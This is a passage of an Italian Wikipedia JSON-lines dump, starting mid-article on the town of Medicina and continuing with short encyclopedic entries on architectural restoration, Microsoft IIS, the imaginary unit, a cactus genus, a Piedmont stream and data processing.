parte guelfa. \nLa posizione di Medicina era strategica: collocata presso i confini con il ravennate e il ferrarese, era un ottimo luogo per i collegamenti con entrambi i territori, grazie ai suoi porti vallivi di Buda e Portonovo sulla valle Padusa, vasta area paludosa che si estendeva a Sud del corso del fiume Po. A causa della sua posizione, Medicina fu spesso conquistata da Bologna, ma la sua privilegiata condizione fu sempre ristabilita dai poteri centrali e, pi\u00f9 volte, i bolognesi dovettero ricostruire o restaurare le mura cittadine, ancora oggi visibili nella parte meridionale del centro storico.\nTra i diversi personaggi storici che fecero base dentro le mura di Medicina, si ricordano: \nL\u2019imperatore Federico I, meglio noto come Federico Barbarossa, \u00e8 sicuramente il personaggio storico al quale i medicinesi sono pi\u00f9 legati: oltre ad essere il protagonista di una famosa leggenda popolare, nel 1155 dichiar\u00f2 Medicina comune libero e autonomo dalle ingerenze dei bolognesi e ne defin\u00ec il vasto confine territoriale.\nOnorificenze.\nCon Decreto del presidente della Repubblica del 26 giugno 2008, Medicina \u00e8 stata insignita della medaglia d'argento al Merito Civile.\nMonumenti e luoghi d'interesse.\nA Medicina si trovano numerose chiese, tra le quali spicca la, campanili e torri in stile barocco. \nArchitetture civili.\nVi sono inoltre ville e palazzi degni di nota come palazzo Prandi (opera del tardo Settecento con facciata a timpano e piramidi alla sommit\u00e0), villa Simoni-Pasi e villa Gennari.\nIl Porticone Venturoli, cosiddetto dall'architetto medicinese Angelo Venturoli che lo costru\u00ec alla fine del Settecento doveva collegare in origine il centro del paese con la chiesa dell'Osservanza.\nLa Torre dell'orologio fu costruita nel XVI secolo fino alla prima cornice e nel '600 fu aggiunto il quadrante in maioliche faentine. Presenta le 24 ore (modo antico) e dispone di un'unica lancetta. Alla fine dell 1700 fu aggiunta la parte sommitale della torre e il rispettivo quadrante a 12 ore.\nAree naturali.\nNel 2002 vengono istituiti nelle frazioni di Buda, Portonovo e Sant'Antonio e nel comune di Molinella i Biotopi e ripristini ambientali di Medicina e Molinella classificati come zona di protezione speciale (ZPS) secondo la Rete Natura 2000 dell'Emilia-Romagna. Sono un insieme di zone umide e boschetti dove nidificano diverse specie protette di uccelli come gli aironi cenerini e la sgarza ciuffetto. \u00c8 presente nel complesso anche l'oasi del Quadrone che comprende una fattoria didattica.\nStazione radioastronomica.\nNel 1963 viene costruita la stazione radioastronomica di Medicina. L'impianto \u00e8 composto da un'antenna parabolica del diametro 32 metri e da una \"croce\", costituita da una serie di antenne ad arco disposte lungo due bracci, lunghi 560 e 625 metri. \nL'intero complesso prende il nome di \u00abCroce del Nord\u00bb ed \u00e8 gestito dall'Istituto di radioastronomia di Bologna, creato dal CNR e oggi parte dell'INAF. Esiste un'installazione gemella posta a Noto, in Sicilia.\nCultura.\nMusica.\nLa tradizione musicale di Medicina ha radici molto profonde, tanto che Medicina \u00e8 fra i primi paesi dell'area bolognese che, in un contesto culturale favorevole, ha sentito il desiderio di costituire un organico di tipo musicale. Pu\u00f2 infatti vantare la presenza nel suo Comune di una tra le pi\u00f9 antiche bande dell'Emilia-Romagna. Si tratta della Banda Municipale di Medicina, fondata nel 1844 e tuttora esistente. Tra le personalit\u00e0 pi\u00f9 eccellenti si ricordano i maestri Augusto Forni, Augusto Modoni e Walter Grandi, i quali, avvicendatisi tra il 1871 e il 1941 hanno avuto il merito di consolidare e dare prestigio all'istituzione musicale medicinese. Essi hanno inoltre composto pezzi d'opera e altri brani con strumentazione originale per banda.\nOggi la banda municipale di Medicina, diretta dal maestro Ermanno Bacca, \u00e8 composta di circa quaranta musicisti e mette a disposizione della cittadinanza una scuola di musica, attiva senza interruzioni dal 1978 e riconosciuta con legge regionale, che le permette di formare validi allievi, da inserire poi nell'organico.\nA Medicina ha sede il \"Coro delle mondine\" un gruppo di donne, ormai non pi\u00f9 giovani, che tramite il canto, vogliono mantenere viva una tradizione del territorio medicinese. La coltura delle piante da riso \u00e8 stata un tempo molto diffusa nelle campagne medicinesi. Queste donne per dare il ritmo nella piantumazione delle piantine di riso e per schernire i proprietari terrieri, o i \"caporali\", intonavano canzoni. Questi canti rappresentano la tradizione popolare, soprattutto canti di lavoro, ma anche di carattere gioioso, amoroso e canti \"di osteria\". I canti sono strettamente legati alla realt\u00e0 della campagna bolognese dall'inizio del XX secolo: dal lavoro, alla fatica, la fame, la miseria e gli amori, da quelli fortunati e a quelli sfortunati. Il coro dal 1976 ha lo scopo di raccogliere e tramandare una cultura che sta scomparendo. Hanno pubblicato un libro e un CD nel 2012 (\"Siam tutte un sentimento\", registrato dal vivo a Roma) in cui raccolgono le conzoni pi\u00f9 significative e raccontano la vita delle mondariso. Il 1\u00ba maggio del 2012 hanno cantato alla presenza del presidente della Repubblica Giorgio Napolitano.\nEconomia.\nIndustria, artigianato e terziario risultano sviluppati; l'agricoltura intensiva (soprattutto di patate e cipolle tipiche locali) resta una delle attivit\u00e0 di maggior rilievo.\nIl tradizionale mercato settimanale si tiene ogni gioved\u00ec.\nGeografia antropica.\nFrazioni.\nPopolazione delle frazioni di Medicina al 31/12/2018.\nTotale abitanti nelle frazioni: .\nIl nome di questa frazione compare gi\u00e0 in documenti risalenti all'anno 885; ricopr\u00ec il ruolo di pieve di grande rilevanza tra il IX e l'XII secolo e fu sede di un importante porto vallivo.\nSul suo territorio sorge l'oasi faunistica \u00abIl Quadrone\u00bb, che preserva fauna e flora tipiche delle antiche zone vallive umide. Istituita nel 1985, oggi l'oasi comprende punti di osservazione, percorsi di visita ed una fattoria didattica.\nPiccola frazione ad est del capoluogo. Prende il nome dalla chiesa di Santa Croce.\nFrazione che prende il nome dalla famiglia bolognese dei Fantuzzi, che nel XV secolo gestivano gran parte dei terreni circostanti.\nNei tempi passati era terra di risaie. Dopo le bonifiche (seconda met\u00e0 del XX secolo), la frazione ha ripreso la propria vocazione agricola. In prossimit\u00e0 dell'abitato sorge la stazione radioastronomica di Medicina.\nNegli anni ottanta in questa frazione, che vanta una ricca zona industriale, \u00e8 stato costruito un centro di ricerca scientifica.\nFrazione sulla via San Vitale Est, verso Ravenna e il mare. Anticamente fu sede di un castello e di un monastero benedettino di cui oggi rimangono solo il campanile romanico e alcune tombe dei monaci sotto il pavimento della chiesa odierna. Il castello fu distrutto da Bologna nel 1337. Oggi \u00e8 una frazione in forte espansione e sta diventando ormai una cosa sola con Medicina. Per la rievocazione storica del Barbarossa \u00e8 rappresentata dalla Torre dell'Oca.\nSituata nella parte settentrionale del territorio, deve il suo nome al porto per la navigazione valliva che vi sorse in seguito all'interramento forzato, da parte dei bolognesi, di quello della frazione di Buda nel 1235. La sua attuale topografia deriva da progetti di espansione del 1730.\nPiccola frazione conosciuta anche con il nome di \"San Martino del Medesano\", dal nome della zona Est di Medicina.\nPosizionata verso la \"bassa\" ferrarese sulla strada che conduce a Molinella e Argenta, a circa 10 chilometri dal capoluogo, \u00e8 anche conosciuta col nome di \"Sant'Antonio della Bassa Quaderna\" per via dell'omonimo torrente che scorre nelle immediate vicinanze poco prima di gettarsi nel torrente Idice.\nFrazione situata lungo l'omonima via che congiunge Buda alla strada San Vitale.\nVilla Fontana \u00e8 la pi\u00f9 popolosa delle frazioni del comune di Medicina; dal 1305 fino all'epoca napoleonica costitu\u00ec comune a s\u00e9 stante.\nDa segnalare \u00e8 il Palazzo della Partecipanza: secondo una tradizione sarebbe stato voluto da Matilde di Canossa la quale, non avendo eredi, decret\u00f2 che i territori che possedeva fossero spartiti tra i figli maschi dei Partecipanti (residenti a Villa Fontana, Fiorentina, Sant'Antonio e la \"Val\u00f2na\"). Ancora oggi queste famiglie sono comproprietarie di questi appezzamenti di terreno. Recentemente il diritto \u00e8 stato esteso alle primogenite femmine. Queste forme di propriet\u00e0 collettive svolsero un ruolo fondamentale nella bonifica idraulica della pianura emiliana. Degna di nota \u00e8 anche la chiesa di Santa Maria in Garda, la pi\u00f9 antica pieve del territorio, datata VII secolo, ampliata e ristrutturata nel '600 conserva una pala d'altare dedicata alla Nativit\u00e0 di Maria. La parrocchia ha donato al museo civico una fonte battesimale del VIII secolo. Nella rievocazione storica del Barbarossa Villa Fontana \u00e8 rappresentata dalla Torre del porco.\nInfrastrutture e trasporti.\nStrade.\nL'abitato di Medicina \u00e8 attraversato dalla strada provinciale 253. Il casello autostradale pi\u00f9 vicino \u00e8 quello di Castel San Pietro Terme sull'A14 (10\u00a0km).\nFerrovie.\nDal 1887 al 1964 la cittadina era raggiunta dalla ferrovia Budrio-Massalombarda, gestita dalla Societ\u00e0 Veneta.\nMobilit\u00e0 urbana.\nIl servizio di trasporto pubblico a Medicina \u00e8 garantito con autocorse suburbane svolte dalle societ\u00e0 TPER e Autoguidovie.\nAmministrazione.\nLista dei sindaci del comune.\nAltre informazioni amministrative.\nIl comune di Medicina fa parte del Nuovo Circondario Imolese.\nSport.\nIl \u00abSan Antonio Calcio\u00bb, dopo tre stagioni nel campionato di Eccellenza, dalla stagione 2014/15 milita in Promozione. Il \u00abMedicina Fossatone A.S.D.\u00bb, societ\u00e0 nata nel 2013 dall'unione del Medicina A.S.D. con la Fossatonese, milita nel girone C del campionato di Promozione.\nMedicina ha una lunga tradizione ciclistica. La prima societ\u00e0 sportiva nacque nel 1912. Oggi la primaria societ\u00e0 ciclistica medicinese prende il nome di A.s.c.d. \"Medicina 1912\", societ\u00e0 fondata nel 1974 da Mauro Cappellari. Presidente in carica \u00e8 Simona Bignardi.\nA Villa Fontana la squadra di ciclismo locale, la Polisportiva Villafontana, \u00e8 un centro di avviamento al ciclismo per giovanissimi, esordienti, allievi e juniores.\nLa squadra di basket, la Virtus Medicina 2001, milita nella serie C2. Fondata nel 1947, \u00e8 una delle societ\u00e0 sportive pi\u00f9 longeve di Medicina.\nIl medicinese Giovanni Caprara \u00e8 stato l'allenatore della nazionale russa femminile vincitrice del campionato mondiale del 2006. La squadra femminile seniores della CUS Medicina milita attualmente nella Prima Divisione del Campionato italiano di pallavolo femminile\nDal 2004 \u00e8 attiva nel circondario medicinese una sede della \"Sala d'Arme \"Achille Marozzo\"\", la principale associazione per la pratica e la diffusione della scherma storica in Italia. Al principio dell'anno accademico 2009 la sede si \u00e8 trasferita definitivamente in citt\u00e0 divenendo la locale scuola di scherma antica, lo stesso anno la sede di Medicina viene incaricata di occuparsi della formazione schermistica degli Armati presso la \u00abContrada San Giacomo di Ferrara\u00bb. Dal 2001 la sede di Medicina, in sinergia con la Contrada San Giacomo, si occupa anche di promuovere il Torneo di Scherma Antica \"Arte di Scrimia\", dedicato alla memoria dell'allieva Mila Forni.\nCircolo Tennis Medicina (CTM), Via Romilly Sur Seine 1."}
{"id": "26282", "revid": "2", "url": "https://it.wikipedia.org/wiki?curid=26282", "title": "Numero immaginario", "text": ""}
{"id": "26283", "revid": "1296252", "url": "https://it.wikipedia.org/wiki?curid=26283", "title": "Restauro architettonico", "text": "Il restauro architettonico pu\u00f2 essere definito come la disciplina dell'architettura volta a garantire la conservazione di un'opera di Architettura, per valorizzarla e consentirne il riuso, tenendo in debito conto le sue valenze storiche. Si compone di una fase di analisi storica volta a ricostruire la storia del monumento, analisi delle tecniche costruttive, analisi del degrado e progetto di restauro vero e proprio, che consiste anche nell'individuazione della destinazione d'uso dell'edificio, che in casi particolari pu\u00f2 differire da quella per il quale l'edificio \u00e8 stato realizzato.\nLe tendenze metodologiche riguardo al restauro architettonico sono varie e vanno a porsi tra le due posizioni teoriche estreme: una che mira alla conservazione assoluta dell'edificio storico nella situazione in cui si trova e l'altra che giunge a legittimare ricostruzioni anche consistenti dell'opera architettonica \"com'era e dov'era\".\nGli sviluppi attuali prevalenti sono per una conservazione della materia esistente, compatibilmente con le esigenze di carattere strutturale ma anche di conservazione o ripristino dell'immagine storica, sempre ricercando un riuso compatibile degli edifici, anche attraverso la realizzazioni di nuove parti architettoniche. Solo il riuso, infatti, garantisce una cura e manutenzione costante dell'opera nel tempo.\nPrincipi del restauro architettonico.\nSi elencano brevemente di seguito alcuni dei concetti fondamentali del restauro architettonico:\nLa destinazione d'uso prevista per gli edifici storici deve essere tale da non comportare uno stravolgimento della consistenza fisica e dei significati del manufatto.\nSi tratta delle tecniche che offrono il migliore effetto di continuit\u00e0 formale oltre che funzionale con le parti antiche, garantendo lunga durata; sono dunque da preferire. La loro corretta riproposizione deriva da un attento lavoro di rilievo e comprensione delle parti esistenti dell'edificio. Tale attivit\u00e0 conoscitiva rientra negli indispensabili studi preliminari al progetto di restauro.\nQuello strutturale \u00e8 un aspetto che fa parte del monumento e del suo valore storico, peraltro in modo tutt'altro che secondario e concorre a determinarne l'identit\u00e0 materiale e culturale. Stravolgere questa componente, anche con mezzi destinati a rimanere occulti equivale a mutilare l'opera di uno dei suoi valori fondamentali.\nTutti i materiali usati, a contatto con quelli della costruzione originaria, non devono in alcun modo costituire potenziale danno di tipo chimico alla materia originale.\nSono da evitare situazioni che, turbando l'equilibrio originario delle condizioni fisiche del manufatto, possano incrementare i fenomeni di degrado. In particolare ci si riferisce alle condizioni di traspirazione delle superfici, di umidit\u00e0, di temperatura ecc.\nQualsiasi operazione eseguita sul manufatto storico, la cui materialit\u00e0 deve essere garantita il pi\u00f9 possibile, deve essere reversibile ovvero intaccare al minimo la materia originale.\nTutti gli interventi devono essere calibrati in relazione alle effettive necessit\u00e0. In particolare, i consolidamenti, vanno dimensionati con ogni cura, commisurandoli ai potenziali, effettivi rischi tenendo nel dovuto conto, evitando sottostime, le capacit\u00e0 portanti esistenti nella struttura storica.\nTutti gli interventi di restauro devono, essere databili, per evitare confusioni con le parti originali, a tal fine \u00e8 opportuno offrire all'occhio esperto la possibilit\u00e0 di riconoscere le parti di restauro. Inoltre documentazione cartacea e informatica, sugli interventi eseguiti, deve sempre essere conservata e resa facilmente reperibile.\nL'intervento di restauro deve tendere a facilitare la comprensione delle stratificazioni, far capire, per quanto possibile, le fasi di crescita dell'edificio.\nI materiali e le tecnologie da usare dovranno essere molto durevoli oppure dovranno essere tali da consentire interventi successivi di manutenzione ordinaria o straordinaria senza che ci\u00f2 comporti alterazioni al monumento stesso. \nQuesto criterio sollecita una particolare attenzione nel prevedere l'uso di soluzioni progettuali che rendano agevole l'ordinaria e la straordinaria manutenzione dell'edificio.\nIl modo in cui l'edificio si inserisce nel suo intorno \u00e8 di fondamentale importanza per la sua fruizione sia formale che funzionale e per la sua corretta comprensione.\nNon meno importanti sono gli aspetti immateriali, psicologici e simbolici di cui l'edilizia storica si \u00e8 caricata nel tempo.\nOgni edificio storico possiede caratteristiche specifiche che lo rendono unico e che, pertanto, ne definiscono l'identit\u00e0. Sono quindi da salvaguardare attentamente.\nPossibilit\u00e0 di riprogettazioni in corso d'opera dovrebbe fare parte integrante del metodo da seguire negli interventi di restauro e recupero in quanto, molto spesso, solo durante la fase del cantiere, emergono importanti, nuove informazioni di cui non si pu\u00f2 non tenere conto nella fase esecutiva (Giovanni Manieri Elia, 2010).\nA Giovanni Urbani si deve, per primo, il concetto di \"conservazione programmata\" (1975).\nRiferimenti metodologici.\nImportante il contributo dato da Cesare Brandi con il suo \"Teoria del restauro\" nel 1977.\nLa carta del restauro di Atene.\nIl primo atto internazionale sul restauro \u00e8 la \"carta del restauro di Atene\", alla quale aderirono sia i conservatori che i restauratori. Eccone i punti principali:"}
{"id": "26284", "revid": "110157", "url": "https://it.wikipedia.org/wiki?curid=26284", "title": "Internet Information Services", "text": "Microsoft Internet Information Services (spesso abbreviato in IIS) \u00e8 un complesso di servizi server Internet per sistemi operativi Microsoft Windows.\nInizialmente distribuito come Option Pack per il sistema operativo Windows NT, venne poi integrato in Windows 2000 e Windows Server 2003. La versione corrente, integrata in Windows Server 2012 R2, \u00e8 la 8.5 ed include i servizi server per i protocolli FTP, SMTP, NNTP e HTTP/HTTPS. Le prime versioni includevano anche un servizio per il protocollo Gopher.\nCaratteristiche.\nL'applicazione server non \u00e8 in grado, di per s\u00e9, di eseguire elaborazioni Server-side, ma ne delega l'esecuzione ad applicazioni ISAPI. Microsoft stessa fornisce una serie di applicazioni tra le quali il modulo per Active Server Pages ed ASP.NET. Altri sviluppatori hanno reso disponibili i moduli per il supporto ai linguaggi PHP e Perl.\nCompatibilit\u00e0.\nIIS \u00e8 stato sviluppato per funzionare sulla famiglia di sistemi operativi di Microsoft. Una versione limitata in grado di supportare un unico dominio ed un numero limitato di connessioni viene fornito nelle versioni personali di Windows dalla versione Windows 98 sotto il nome di Personal Web Server.\nSicurezza.\nPer IIS negli anni passati sono stati segnalati numerosi security exploit, la gran parte dei quali pericolosi se non vengono applicati filtri adeguati alle applicazioni ISAPI. Microsoft, dalla versione distribuita con Windows Server 2003 ha disabilitato per default il supporto ad estensioni non utilizzate, rendendolo, di fatto, pi\u00f9 sicuro nella configurazione standard.\nMicrosoft, inoltre, ha modificato gli account su cui viene eseguito il server. Nelle versioni precedenti la 6.0 tutte le operazioni venivano eseguite con le credenziali di amministrazione, permettendo agli exploit di ottenere il pieno controllo del sistema. Dalla versione 6.0 l'account \u00e8 diventato un account di rete, con privilegi pi\u00f9 limitati e quindi meno pericoloso.\nDopo circa 3 anni sul mercato, IIS 6 pu\u00f2 vantare, rispetto ai Web Server concorrenti, solo 3 bug di sicurezza noti .\nIIS 7.0 - incluso in Windows Vista - \u00e8 ancora pi\u00f9 sicuro anche grazie al fatto che \u00e8 un server web modulare, composto da un server di base leggero a cui \u00e8 possibile aggiungere pi\u00f9 di 40 moduli funzionali che possono essere connessi al server di base. Tale aggiunta avviene in base a delle precise necessit\u00e0 del sistemista e pertanto espone il server a rischi minori.\nAlternative.\nSebbene il mercato dei server web sia controllato saldamente dalla soluzione Apache, IIS \u00e8 riuscito, negli anni, a guadagnarsi una fetta di server pari a circa il 20% dei domini presenti Netcraft Survey. Altri concorrenti sono l'ambiente Solaris Operating Environment/Java EE e WebSphere di IBM."}
{"id": "26285", "revid": "275226", "url": "https://it.wikipedia.org/wiki?curid=26285", "title": "Unit\u00e0 immaginaria", "text": "In matematica l'unit\u00e0 immaginaria formula_1 (a volte rappresentata dalla lettera greca iota formula_2) permette di estendere il campo dei numeri reali formula_3 al campo dei numeri complessi formula_4. L'unit\u00e0 immaginaria \u00e8 caratterizzata dall'essere un numero il cui quadrato \u00e8 uguale a formula_5.\nIn elettrotecnica, l'unit\u00e0 immaginaria viene sempre rappresentata dalla lettera formula_6, poich\u00e9 la lettera formula_1 \u00e8 gi\u00e0 utilizzata per indicare l'intensit\u00e0 di corrente.\nLa necessit\u00e0 di estendere il campo dei numeri reali formula_3 nasce dal fatto che non \u00e8 possibile in tale campo calcolare la radice quadrata di un numero negativo e pi\u00f9 in generale che non tutte le equazioni polinomiali formula_9 hanno una soluzione. In particolare l'equazione formula_10 non ha soluzioni reali. Ma, se si considerano i numeri complessi, allora quella equazione, e in effetti \"tutte\" le equazioni polinomiali formula_9, dove formula_12 \u00e8 un polinomio a coefficienti reali o complessi, hanno almeno una soluzione: questo fatto prende il nome di teorema fondamentale dell'algebra, e dice formalmente che formula_4 \u00e8 la chiusura algebrica di formula_3.\nDefinizione.\nPer definizione, l'unit\u00e0 immaginaria formula_1 \u00e8 una soluzione dell'equazione\nL'anello formula_17 (che \u00e8 un campo in quanto il polinomio formula_18 \u00e8 irriducibile su formula_3) e formula_20 risultano essere isomorfi come spazi vettoriali su formula_3 attraverso l'isomorfismo formula_22 che manda formula_23 in formula_24. In tal senso l'unit\u00e0 immaginaria non \u00e8 altro che l'immagine di formula_25 secondo formula_22 e si ha formula_27\nLe operazioni sui numeri reali possono essere estese ai numeri complessi considerando formula_1 come una quantit\u00e0 incognita durante la manipolazione delle espressioni, e poi usando la definizione per sostituire formula_29 con formula_5.\n\"i\" e \"-i\".\nL'equazione formula_10 ha, in effetti, \"due\" soluzioni distinte che sono opposte. Pi\u00f9 precisamente, una volta che \u00e8 stata fissata una soluzione formula_1 dell'equazione, allora formula_33 \u00e8 anch'essa una soluzione. Dato che l'equazione stessa \u00e8 l'unica definizione per formula_1, sembra che questa definizione sia ambigua (pi\u00f9 precisamente, non sia ben definita). Per\u00f2 non si ha alcuna ambiguit\u00e0 una volta che si sceglie una soluzione e la si fissa, indicandola con formula_1.\nQuesta considerazione \u00e8 sottile. Una spiegazione pi\u00f9 precisa consiste nell'affermare che, sebbene il campo complesso definito come formula_17 \u00e8 unico a meno di isomorfismi, esso \"non\" \u00e8 unico a meno di un \"unico\" isomorfismo. Infatti esistono esattamente due automorfismi di formula_17, l'identit\u00e0 e l'automorfismo che manda formula_25 in formula_39. Si noti che questi non sono solo gli unici automorfismi del campo formula_4, ma sono gli unici automorfismi del campo formula_4 che fissano qualunque numero reale. Si vedano le voci complesso coniugato e gruppo di Galois.\nUn problema simile si ha se i numeri complessi vengono interpretati come matrici reali formula_42, perch\u00e9 entrambe le seguenti matrici\nsono soluzioni dell'equazione formula_44. In questo caso l'ambiguit\u00e0 \u00e8 dovuta alla scelta che si fa riguardo a quale sia la \"direzione positiva\" con cui viene percorso la circonferenza unitaria. Una spiegazione pi\u00f9 precisa \u00e8 la seguente: il gruppo degli automorfismi del gruppo ortogonale speciale formula_45 ha esattamente due elementi: l'identit\u00e0 e l'automorfismo che scambia le rotazioni in senso orario in rotazioni in senso antiorario.\nAvvertenza.\nTalvolta l'unit\u00e0 immaginaria viene scritta come formula_46, ma bisogna fare molta attenzione quando si manipolano formule che contengono radicali. Questa notazione \u00e8 riservata alla funzione radice quadrata principale, che \u00e8 definita solo per numeri reali formula_47, o alla parte principale della funzione radice quadrata complessa. L'applicazione delle propriet\u00e0 delle radici quadrate principali (reali) al ramo principale delle radici quadrate complesse produce risultati scorretti:\nInfatti la regola\n\u00e8 valida solo per valori di formula_50 e formula_51 reali e non negativi.\nPer evitare di fare errori nel manipolare i numeri complessi la strategia migliore \u00e8 quella di non usare mai un numero negativo sotto un segno di radice quadrata che non \u00e8 preceduto da formula_52, in modo da far intendere che vengono considerate entrambe le radici.\nPotenze di \"i\".\nLe potenze di formula_1 si ripetono periodicamente (sono cicliche con periodo formula_54):\nQuesta propriet\u00e0 pu\u00f2 essere espressa in forma pi\u00f9 compatta in questo modo, dove formula_65 \u00e8 un qualunque intero:\nRadici dell'unit\u00e0 immaginaria.\nLe due radici quadrate di formula_1 (cio\u00e8 le due soluzioni dell'equazione formula_71) sono complesse, ricavabili dall'espressione: formula_72. Ci\u00f2 pu\u00f2 essere verificato nel modo seguente:\nPer formula_73 la radice quadrata sar\u00e0 quella di formula_1 moltiplicata per l'unit\u00e0 immaginaria stessa. Quindi:\nCome per ogni altro numero complesso, le radici formula_65-esime dell'unit\u00e0 immaginaria si calcolano facilmente tramite la sua descrizione in coordinate polari. Infatti:\nImponendo che un generico numero complesso formula_78 sia radice formula_65-esima di formula_1 si deve avere:\nda cui:\nLa disposizione delle radici nel piano complesso \u00e8 quella di poligoni regolari inscritti nella circonferenza complessa di raggio formula_85: tenendo conto della non unicit\u00e0 della rappresentazione polare dei numeri complessi, per la radice quadrata avremo due radici distinte (ponendo ad esempio formula_86), per la radice cubica ne avremo tre (formula_87) e cos\u00ec via. Ritornando alla rappresentazione nel piano complesso tramite la formula di Eulero otteniamo:\n\"i\" e la formula di Eulero.\nPrendendo la formula di Eulero formula_89, e sostituendo formula_90 al posto di formula_25, si ottiene\nSe entrambi i membri dell'uguaglianza vengono elevati alla potenza formula_1, ricordando che formula_94, si ottiene l'identit\u00e0\nIn effetti \u00e8 facile trovare che formula_96 ha un infinito numero di soluzioni nella forma di\ndove formula_65 \u00e8 un qualunque intero. Dal punto di vista della teoria dei numeri, formula_1 \u00e8 un numero irrazionale quadratico, come formula_100, e applicando il teorema di Gel'fond-Schneider si pu\u00f2 concludere che tutti i valori ottenuti sopra, e in particolare formula_101, sono trascendenti.\nSempre dalla formula di Eulero, o elevando al quadrato ambo i membri della precedente identit\u00e0 formula_102, si arriva elegantemente all'identit\u00e0 di Eulero:\nche mette in relazione cinque delle pi\u00f9 significative entit\u00e0 matematiche, assieme al principio di uguaglianza e le operazioni di addizione, moltiplicazione e potenza, in una semplice espressione.\nNotazione alternativa.\nIn ingegneria elettrica e campi ad essa relativi l'unit\u00e0 immaginaria \u00e8 spesso indicata con formula_6 per evitare confusione con il simbolo di corrente elettrica variabile, tradizionalmente indicato con formula_1. Anche il linguaggio di programmazione Python usa formula_6 per l'unit\u00e0 immaginaria.\nOccorre prestare ulteriore attenzione ad alcuni libri di testo che definiscono formula_107, particolarmente in argomenti legati alla propagazione delle onde (per esempio, un'onda piana che viaggia verso destra nella direzione delle formula_25 \u00e8 indicata con formula_109).\nAlcuni testi usano la lettera greca iota per l'unit\u00e0 immaginaria per evitare confusione."}
{"id": "26286", "revid": "54253142", "url": "https://it.wikipedia.org/wiki?curid=26286", "title": "Calcolo delle probabilit\u00e0", "text": ""}
{"id": "26287", "revid": "287204", "url": "https://it.wikipedia.org/wiki?curid=26287", "title": "Oreocereus", "text": "Oreocereus \u00e8 un genere di piante succulente della famiglia delle Cactaceae, originario della Bolivia e del Per\u00f9\nIl nome del genere deriva dal greco \"\u00f2ros\" (montagna).\nDescrizione.\nHanno forma colonnare e nel loro habitat originario possono raggiungere un metro di altezza; possono ramificare alla base e il fusto \u00e8 coperto di peli e setole bianche dai quali spuntano delle spine colorate.\nTassonomia.\nIl genere comprende le seguenti specie:\nColtivazione.\nIl terreno che richiede questo genere di pianta \u00e8 poroso composto da terra concimata e sabbia molto grossolana, le annaffiature dovranno essere regolari da aprile a settembre e completamente sospese durante l'inverno. La posizione ottimale \u00e8 di pieno sole, nel periodo invernale sopportano una temperatura fino a 4\u00a0\u00b0C possono comunque resistere anche al gelo per brevi periodi.\nLa riproduzione avviene per seme i quali andranno depositati su un letto di sabbia umida e conservati ad una temperatura di 21\u00a0\u00b0C e, qualora le piante producano dei getti o polloni ai lati del fusto, per talea la quale andr\u00e0 interrata dopo aver fatto asciugare bene la parte tagliata; la riproduzione per talea va eseguita nel periodo estivo."}
{"id": "26289", "revid": "287204", "url": "https://it.wikipedia.org/wiki?curid=26289", "title": "Lemme", "text": "Il Lemme \u00e8 un torrente del Piemonte, lungo 35\u00a0km ed affluente di destra del torrente Orba.\nPercorso.\nNasce alla falde del Monte Calvo, sul versante piemontese dell'Appennino ligure (nei pressi del Passo della Bocchetta), a 750\u00a0m sul livello del mare. Percorre un dislivello di circa 550 metri, con una pendenza maggiore nei primi 10\u00a0km.\nQuesto rende l'alta Val Lemme piuttosto impervia, caratterizzata da forte erosione e scarsi depositi alluvionali.\n\u00c8 in questo tratto che il torrente riceve i suoi principali affluenti, in particolare il Rio delle Acque Striate, nel territorio del Parco Regionale delle Capanne di Marcarolo.\nBagna i comuni di Fraconalto, Voltaggio, Carrosio e Gavi - dove riceve da destra il Neirone - e, dopo un breve passaggio in una forra non lontana da San Cristoforo, si allarga in una pianura alluvionale, dove sono posti i comuni di Francavilla Bisio e Basaluzzo. Il Lemme si getta quindi nell'Orba in territorio comunale di Predosa.\nRegime idrologico.\nIl Lemme \u00e8 caratterizzato da una portata estremamente variabile con scarsit\u00e0 di acqua in estate. Ha dato luogo anche a temibili alluvioni, come quella del 1977.\nStoria.\nIl torrente diede il nome tra il 2 dicembre 1797 e il 28 aprile 1798 al \"D\u00e9partement du Lemmo\" o \"Dipartimento del Lemmo\", una delle unit\u00e0 amministrative nelle quali era suddivisa la Repubblica Ligure, che aveva per capoluogo Gavi"}
{"id": "26290", "revid": "778337", "url": "https://it.wikipedia.org/wiki?curid=26290", "title": "PL/1", "text": ""}
{"id": "26297", "revid": "599013", "url": "https://it.wikipedia.org/wiki?curid=26297", "title": "Iis", "text": ""}
{"id": "26299", "revid": "115398348", "url": "https://it.wikipedia.org/wiki?curid=26299", "title": "Elaborazione dati", "text": "L'elaborazione dati (in inglese \"data processing\") \u00e8 un qualsiasi procedimento informatico che comporta la conversione dei dati in informazioni tramite algoritmi.\nStoria.\nFino agli anni 1980, i reparti informatici di aziende ed enti pubblici erano chiamati \"Centro elaborazione dati\" (CED), perch\u00e9 si poneva l'accento sul fatto che in tali uffici venivano immagazzinati moli di dati dalle quali, previa elaborazione, si potevano estrarre informazioni utili alle attivit\u00e0 dell'organizzazione. L'espressione inglese \"data processing\" rimane ampiamente usata nei sistemi SCADA, per indicare le elaborazioni effettuate su dati acquisiti dai sensori.\nAttualmente prevale l'espressione \"sistema informativo\", perch\u00e9 ci si \u00e8 resi conto che gli algoritmi utilizzati per l'elaborazione dei dati sono ormai standardizzati, mentre il vero lavoro consiste nell'analisi e gestione dei flussi di informazioni tra le persone dell'organizzazione e nell'automazione informatica di tali comunicazioni.\nDescrizione.\nPi\u00f9 in generale, si usa l'espressione \"elaborazione dati\" per indicare qualsiasi conversione di dati da un formato a un altro, anche se in questo caso il termine pi\u00f9 adatto sarebbe \"conversione dei dati\". Nell'ambito dell'elaborazione dati da parte degli elaboratori elettronici assume particolare importanza il concetto di velocit\u00e0 prestazionale di elaborazione dati, che in un normale computer \u00e8 funzione della frequenza di clock del processore ed \u00e8 a volte calcolata in FLOPS o MIPS. \nNel processo:\nIn altre parole, usando il linguaggio dell'automatica si pu\u00f2 definire \"elaborazione\" quel processo che, dato un input specificato, produce un determinato output dopo una certa manipolazione/trasformazione. Pi\u00f9 in particolare, alla base dell'elaborazione da parte del sistema di elaborazione vi \u00e8 il ciclo di fetch-execute da parte del processore che agisce sui dati provenienti dalla memoria sulla base dell'insieme d'istruzioni scandito dal clock di sistema."}
